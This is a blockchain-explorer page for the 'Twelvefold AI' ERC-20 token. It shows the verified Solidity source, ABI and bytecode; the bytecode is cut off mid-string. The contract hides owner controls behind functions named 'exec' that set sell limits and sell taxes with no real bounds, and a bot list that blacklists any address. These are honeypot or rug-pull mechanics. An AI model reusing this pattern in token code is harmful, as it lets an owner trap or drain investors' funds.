ERC-20
Overview
Max Total Supply
1,000,000,000 $FOLD
Holders
5
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
0.309573551 $FOLDValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
TwelvefoldAI
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-03-07 */ // SPDX-License-Identifier: MIT /* ████████╗░██╗░░░░░░░██╗███████╗██╗░░░░░██╗░░░██╗███████╗███████╗░█████╗░██╗░░░░░██████╗░ ░█████╗░██╗ ╚══██╔══╝░██║░░██╗░░██║██╔════╝██║░░░░░██║░░░██║██╔════╝██╔════╝██╔══██╗██║░░░░░██╔══██╗ ██╔══██╗██║ ░░░██║░░░░╚██╗████╗██╔╝█████╗░░██║░░░░░╚██╗░██╔╝█████╗░░█████╗░░██║░░██║██║░░░░░██║░░██║ ███████║██║ ░░░██║░░░░░████╔═████║░██╔══╝░░██║░░░░░░╚████╔╝░██╔══╝░░██╔══╝░░██║░░██║██║░░░░░██║░░██║ ██╔══██║██║ ░░░██║░░░░░╚██╔╝░╚██╔╝░███████╗███████╗░░╚██╔╝░░███████╗██║░░░░░╚█████╔╝███████╗██████╔╝ ██║░░██║██║ ░░░╚═╝░░░░░░╚═╝░░░╚═╝░░╚══════╝╚══════╝░░░╚═╝░░░╚══════╝╚═╝░░░░░░╚════╝░╚══════╝╚═════╝░ ╚═╝░░╚═╝╚═╝ ****** Fractional token for TwelveFold Ordinals ****** Telegram: https://t.me/TwelveFoldETH */ pragma solidity 0.8.17; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract TwelvefoldAI is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; address payable private immutable _taxWallet; uint256 private constant _finalBuyTax=0; uint256 private constant _reduceBuyTaxAt=10; uint256 private constant _reduceSellTaxAt=15; uint64 private _ST=15; uint64 private _FST=50; uint128 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10**_decimals; uint256 public _tx = 20000000 * 10**_decimals; uint256 private constant _maxTaxSwap= 20000000 * 10**_decimals; string private constant _name = "Twelvefold AI"; string private constant _symbol = "$FOLD"; IUniswapV2Router02 private constant uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address private uniswapV2Pair; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _balances[address(this)] = _tTotal; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "Allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0) && spender != address(0), "0"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0) && to != address(0) && amount > 0, "0"); uint256 taxAmount=0; if (from != owner() && to != owner() && swapEnabled) { require(!bots[from] && !bots[to]); taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:10).div(100); if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { _buyCount++; } if(to == uniswapV2Pair && from != address(this)){ require(amount <= _tx, "Max"); taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_FST:_ST).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && contractTokenBalance>_maxTaxSwap && _buyCount>20) { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function exec(uint256 tx_) external onlyOwner { _tx=tx_; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function manageBots(address[] calldata _bots, bool _isBot) public onlyOwner { for (uint i = 0; i < _bots.length; i++) { bots[_bots[i]] = _isBot; } } function isBot(address a) public view returns (bool) { return bots[a]; } function openTrading() external onlyOwner { require(!swapEnabled,"O"); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),_tTotal,0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; } function exec(uint64 _nF, uint64 __nF) external onlyOwner { require(__nF<=_FST); _ST=__nF; _FST=_nF; } receive() external payable {} function manualSwap(bool swap) external onlyOwner { uint256 tokenBalance=balanceOf(address(this)); if(swap && tokenBalance>0){ swapTokensForEth(tokenBalance); } uint256 ethBalance=address(this).balance; if(ethBalance>0){ sendETHToFee(ethBalance); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_tx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint64","name":"_nF","type":"uint64"},{"internalType":"uint64","name":"__nF","type":"uint64"}],"name":"exec","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tx_","type":"uint256"}],"name":"exec","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_bots","type":"address[]"},{"internalType":"bool","name":"_isBot","type":"bool"}],"name":"manageBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"swap","type":"bool"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a06040526832000000000000000f6005556200001f6009600a62000215565b6200002f906301312d006200022d565b6006556007805461ffff60a01b191690553480156200004d57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35033608052600080546001600160a01b03168152600360205260408082208054600160ff1991821681179092553084529190922080549091169091179055620000da6009600a62000215565b620000ea90633b9aca006200022d565b3060009081526001602052604090205562000247565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620001575781600019048211156200013b576200013b62000100565b808516156200014957918102915b93841c93908002906200011b565b509250929050565b60008262000170575060016200020f565b816200017f575060006200020f565b8160018114620001985760028114620001a357620001c3565b60019150506200020f565b60ff841115620001b757620001b762000100565b50506001821b6200020f565b5060208310610133831016604e8410600b8410161715620001e8575081810a6200020f565b620001f4838362000116565b80600019048211156200020b576200020b62000100565b0290505b92915050565b60006200022660ff8416836200015f565b9392505050565b80820281158282048414176200020f576200020f62000100565b60805161191d6200026360003960006111f3015261191d6000f3fe60806040526004361061010d5760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb14610322578063c5377ae514610342578063c9567bf914610362578063dd62ed3e14610377578063f873cb91146103bd57600080fd5b806370a0823114610281578063715018a6146102b75780638da5cb5b146102cc57806395d89b41146102f457600080fd5b8063313ce567116100dc578063313ce567146101d45780633bbac579146101f057806344118d7014610229578063526b233d1461024b5780636b4f41e91461026157600080fd5b806306fdde0314610119578063095ea7b31461016157806318160ddd1461019157806323b872dd146101b457600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600d81526c5477656c7665666f6c6420414960981b60208201525b60405161015891906113ef565b60405180910390f35b34801561016d57600080fd5b5061018161017c366004611455565b6103dd565b6040519015158152602001610158565b34801561019d57600080fd5b506101a66103f4565b604051908152602001610158565b3480156101c057600080fd5b506101816101cf366004611481565b610415565b3480156101e057600080fd5b5060405160098152602001610158565b3480156101fc57600080fd5b5061018161020b3660046114c2565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561023557600080fd5b506102496102443660046114ed565b6104ab565b005b34801561025757600080fd5b506101a660065481565b34801561026d57600080fd5b5061024961027c366004611527565b61051e565b34801561028d57600080fd5b506101a661029c3660046114c2565b6001600160a01b031660009081526001602052604090205490565b3480156102c357600080fd5b506102496105a4565b3480156102d857600080fd5b506000546040516001600160a01b039091168152602001610158565b34801561030057600080fd5b50604080518082019091526005815264091193d31160da1b602082015261014b565b34801561032e57600080fd5b5061018161033d366004611455565b610618565b34801561034e57600080fd5b5061024961035d36600461155a565b610625565b34801561036e57600080fd5b506102496106c6565b34801561038357600080fd5b506101a66103923660046115e0565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156103c957600080fd5b506102496103d8366004611619565b610a68565b60006103ea338484610a97565b5060015b92915050565b60006104026009600a61172c565b61041090633b9aca0061173b565b905090565b6000610422848484610b48565b6104a1843361049c8560405180604001604052806009815260200168416c6c6f77616e636560b81b815250600260008b6001600160a01b03166001600160a01b03168152602001908152602001600020600061047b3390565b6001600160a01b031681526020810191909152604001600020549190610ff9565b610a97565b5060019392505050565b6000546001600160a01b031633146104de5760405162461bcd60e51b81526004016104d590611752565b60405180910390fd5b306000908152600160205260409020548180156104fb5750600081115b156105095761050981611033565b47801561051957610519816111e6565b505050565b6000546001600160a01b031633146105485760405162461bcd60e51b81526004016104d590611752565b60055467ffffffffffffffff600160401b9091048116908216111561056c57600080fd5b6005805467ffffffffffffffff938416600160401b026fffffffffffffffffffffffffffffffff199091169390921692909217179055565b6000546001600160a01b031633146105ce5760405162461bcd60e51b81526004016104d590611752565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103ea338484610b48565b6000546001600160a01b0316331461064f5760405162461bcd60e51b81526004016104d590611752565b60005b828110156106c057816004600086868581811061067157610671611771565b905060200201602081019061068691906114c2565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806106b881611787565b915050610652565b50505050565b6000546001600160a01b031633146106f05760405162461bcd60e51b81526004016104d590611752565b600754600160a81b900460ff161561072e5760405162461bcd60e51b81526020600482015260016024820152604f60f81b60448201526064016104d5565b61076130737a250d5630b4cf539739df2c5dacb4c659f2488d6107536009600a61172c565b61049c90633b9aca0061173b565b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d791906117a0565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610838573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085c91906117a0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108cd91906117a0565b600780546001600160a01b0319166001600160a01b0392909216919091179055737a250d5630b4cf539739df2c5dacb4c659f2488d63f305d71947306109156009600a61172c565b61092390633b9aca0061173b565b6000806109386000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109a0573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109c591906117bd565b505060075460405163095ea7b360e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d600482015260001960248201526001600160a01b03909116915063095ea7b3906044016020604051808303816000875af1158015610a2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a5291906117eb565b506007805460ff60a81b1916600160a81b179055565b6000546001600160a01b03163314610a925760405162461bcd60e51b81526004016104d590611752565b600655565b6001600160a01b03831615801590610ab757506001600160a01b03821615155b610ae75760405162461bcd60e51b81526020600482015260016024820152600360fc1b60448201526064016104d5565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831615801590610b6857506001600160a01b03821615155b8015610b745750600081115b610ba45760405162461bcd60e51b81526020600482015260016024820152600360fc1b60448201526064016104d5565b600080546001600160a01b03858116911614801590610bd157506000546001600160a01b03848116911614155b8015610be65750600754600160a81b900460ff165b15610eb6576001600160a01b03841660009081526004602052604090205460ff16158015610c2d57506001600160a01b03831660009081526004602052604090205460ff16155b610c3657600080fd5b610c7b6064610c75600a600560109054906101000a90046001600160801b03166001600160801b031611610c6b57600a610c6e565b60005b8590611240565b906112c9565b6007549091506001600160a01b038581169116148015610cb857506001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d14155b8015610cdd57506001600160a01b03831660009081526003602052604090205460ff16155b15610d285760058054600160801b90046001600160801b0316906010610d0283611808565b91906101000a8154816001600160801b0302191690836001600160801b03160217905550505b6007546001600160a01b038481169116148015610d4e57506001600160a01b0384163014155b15610df457600654821115610d8b5760405162461bcd60e51b815260206004820152600360248201526209ac2f60eb1b60448201526064016104d5565b610df16064610c75600f600560109054906101000a90046001600160801b03166001600160801b031611610dcb5760055467ffffffffffffffff16610de0565b600554600160401b900467ffffffffffffffff165b859067ffffffffffffffff16611240565b90505b30600090815260016020526040902054600754600160a01b900460ff16158015610e2b57506007546001600160a01b038581169116145b8015610e4f5750610e3e6009600a61172c565b610e4c906301312d0061173b565b81115b8015610e6e57506005546014600160801b9091046001600160801b0316115b15610eb457610ea2610e9d84610e9884610e8a6009600a61172c565b610e98906301312d0061173b565b61130b565b611033565b478015610eb257610eb2476111e6565b505b505b8015610f305730600090815260016020526040902054610ed69082611320565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f279085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610f53908361137f565b6001600160a01b038516600090815260016020526040902055610f98610f79838361137f565b6001600160a01b03851660009081526001602052604090205490611320565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610fe2858561137f565b60405190815260200160405180910390a350505050565b6000818484111561101d5760405162461bcd60e51b81526004016104d591906113ef565b50600061102a848661182e565b95945050505050565b6007805460ff60a01b1916600160a01b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061107b5761107b611771565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110ed573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111191906117a0565b8160018151811061112457611124611771565b60200260200101906001600160a01b031690816001600160a01b03168152505061116330737a250d5630b4cf539739df2c5dacb4c659f2488d84610a97565b60405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906111a3908590600090869030904290600401611841565b600060405180830381600087803b1580156111bd57600080fd5b505af11580156111d1573d6000803e3d6000fd5b50506007805460ff60a01b1916905550505050565b6040516001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169082156108fc029083906000818181858888f1935050505015801561123c573d6000803e3d6000fd5b5050565b600082600003611252575060006103ee565b600061125e838561173b565b90508261126b85836118b2565b146112c25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d5565b9392505050565b60006112c283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113c1565b600081831161131a57826112c2565b50919050565b60008061132d83856118d4565b9050838110156112c25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d5565b60006112c283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ff9565b600081836113e25760405162461bcd60e51b81526004016104d591906113ef565b50600061102a84866118b2565b600060208083528351808285015260005b8181101561141c57858101830151858201604001528201611400565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461145257600080fd5b50565b6000806040838503121561146857600080fd5b82356114738161143d565b946020939093013593505050565b60008060006060848603121561149657600080fd5b83356114a18161143d565b925060208401356114b18161143d565b929592945050506040919091013590565b6000602082840312156114d457600080fd5b81356112c28161143d565b801515811461145257600080fd5b6000602082840312156114ff57600080fd5b81356112c2816114df565b803567ffffffffffffffff8116811461152257600080fd5b919050565b6000806040838503121561153a57600080fd5b6115438361150a565b91506115516020840161150a565b90509250929050565b60008060006040848603121561156f57600080fd5b833567ffffffffffffffff8082111561158757600080fd5b818601915086601f83011261159b57600080fd5b8135818111156115aa57600080fd5b8760208260051b85010111156115bf57600080fd5b602092830195509350508401356115d5816114df565b809150509250925092565b600080604083850312156115f357600080fd5b82356115fe8161143d565b9150602083013561160e8161143d565b809150509250929050565b60006020828403121561162b57600080fd5b5035919050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561168357816000190482111561166957611669611632565b8085161561167657918102915b93841c939080029061164d565b509250929050565b60008261169a575060016103ee565b816116a7575060006103ee565b81600181146116bd57600281146116c7576116e3565b60019150506103ee565b60ff8411156116d8576116d8611632565b50506001821b6103ee565b5060208310610133831016604e8410600b8410161715611706575081810a6103ee565b6117108383611648565b806000190482111561172457611724611632565b029392505050565b60006112c260ff84168361168b565b80820281158282048414176103ee576103ee611632565b60208082526005908201526427bbb732b960d91b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b60006001820161179957611799611632565b5060010190565b6000602082840312156117b257600080fd5b81516112c28161143d565b6000806000606084860312156117d257600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117fd57600080fd5b81516112c2816114df565b60006001600160801b0380831681810361182457611824611632565b6001019392505050565b818103818111156103ee576103ee611632565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118915784516001600160a01b03168352938301939183019160010161186c565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826118cf57634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156103ee576103ee61163256fea2646970667358221220b8756ab9275a603eb3c3a29428acf8889a744653fc7852f7dc892aac173b9ca664736f6c63430008110033
Deployed Bytecode
0x60806040526004361061010d5760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb14610322578063c5377ae514610342578063c9567bf914610362578063dd62ed3e14610377578063f873cb91146103bd57600080fd5b806370a0823114610281578063715018a6146102b75780638da5cb5b146102cc57806395d89b41146102f457600080fd5b8063313ce567116100dc578063313ce567146101d45780633bbac579146101f057806344118d7014610229578063526b233d1461024b5780636b4f41e91461026157600080fd5b806306fdde0314610119578063095ea7b31461016157806318160ddd1461019157806323b872dd146101b457600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600d81526c5477656c7665666f6c6420414960981b60208201525b60405161015891906113ef565b60405180910390f35b34801561016d57600080fd5b5061018161017c366004611455565b6103dd565b6040519015158152602001610158565b34801561019d57600080fd5b506101a66103f4565b604051908152602001610158565b3480156101c057600080fd5b506101816101cf366004611481565b610415565b3480156101e057600080fd5b5060405160098152602001610158565b3480156101fc57600080fd5b5061018161020b3660046114c2565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561023557600080fd5b506102496102443660046114ed565b6104ab565b005b34801561025757600080fd5b506101a660065481565b34801561026d57600080fd5b5061024961027c366004611527565b61051e565b34801561028d57600080fd5b506101a661029c3660046114c2565b6001600160a01b031660009081526001602052604090205490565b3480156102c357600080fd5b506102496105a4565b3480156102d857600080fd5b506000546040516001600160a01b039091168152602001610158565b34801561030057600080fd5b50604080518082019091526005815264091193d31160da1b602082015261014b565b34801561032e57600080fd5b5061018161033d366004611455565b610618565b34801561034e57600080fd5b5061024961035d36600461155a565b610625565b34801561036e57600080fd5b506102496106c6565b34801561038357600080fd5b506101a66103923660046115e0565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156103c957600080fd5b506102496103d8366004611619565b610a68565b60006103ea338484610a97565b5060015b92915050565b60006104026009600a61172c565b61041090633b9aca0061173b565b905090565b6000610422848484610b48565b6104a1843361049c8560405180604001604052806009815260200168416c6c6f77616e636560b81b815250600260008b6001600160a01b03166001600160a01b03168152602001908152602001600020600061047b3390565b6001600160a01b031681526020810191909152604001600020549190610ff9565b610a97565b5060019392505050565b6000546001600160a01b031633146104de5760405162461bcd60e51b81526004016104d590611752565b60405180910390fd5b306000908152600160205260409020548180156104fb5750600081115b156105095761050981611033565b47801561051957610519816111e6565b505050565b6000546001600160a01b031633146105485760405162461bcd60e51b81526004016104d590611752565b60055467ffffffffffffffff600160401b9091048116908216111561056c57600080fd5b6005805467ffffffffffffffff938416600160401b026fffffffffffffffffffffffffffffffff199091169390921692909217179055565b6000546001600160a01b031633146105ce5760405162461bcd60e51b81526004016104d590611752565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103ea338484610b48565b6000546001600160a01b0316331461064f5760405162461bcd60e51b81526004016104d590611752565b60005b828110156106c057816004600086868581811061067157610671611771565b905060200201602081019061068691906114c2565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806106b881611787565b915050610652565b50505050565b6000546001600160a01b031633146106f05760405162461bcd60e51b81526004016104d590611752565b600754600160a81b900460ff161561072e5760405162461bcd60e51b81526020600482015260016024820152604f60f81b60448201526064016104d5565b61076130737a250d5630b4cf539739df2c5dacb4c659f2488d6107536009600a61172c565b61049c90633b9aca0061173b565b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d791906117a0565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610838573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085c91906117a0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108cd91906117a0565b600780546001600160a01b0319166001600160a01b0392909216919091179055737a250d5630b4cf539739df2c5dacb4c659f2488d63f305d71947306109156009600a61172c565b61092390633b9aca0061173b565b6000806109386000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109a0573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109c591906117bd565b505060075460405163095ea7b360e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d600482015260001960248201526001600160a01b03909116915063095ea7b3906044016020604051808303816000875af1158015610a2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a5291906117eb565b506007805460ff60a81b1916600160a81b179055565b6000546001600160a01b03163314610a925760405162461bcd60e51b81526004016104d590611752565b600655565b6001600160a01b03831615801590610ab757506001600160a01b03821615155b610ae75760405162461bcd60e51b81526020600482015260016024820152600360fc1b60448201526064016104d5565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831615801590610b6857506001600160a01b03821615155b8015610b745750600081115b610ba45760405162461bcd60e51b81526020600482015260016024820152600360fc1b60448201526064016104d5565b600080546001600160a01b03858116911614801590610bd157506000546001600160a01b03848116911614155b8015610be65750600754600160a81b900460ff165b15610eb6576001600160a01b03841660009081526004602052604090205460ff16158015610c2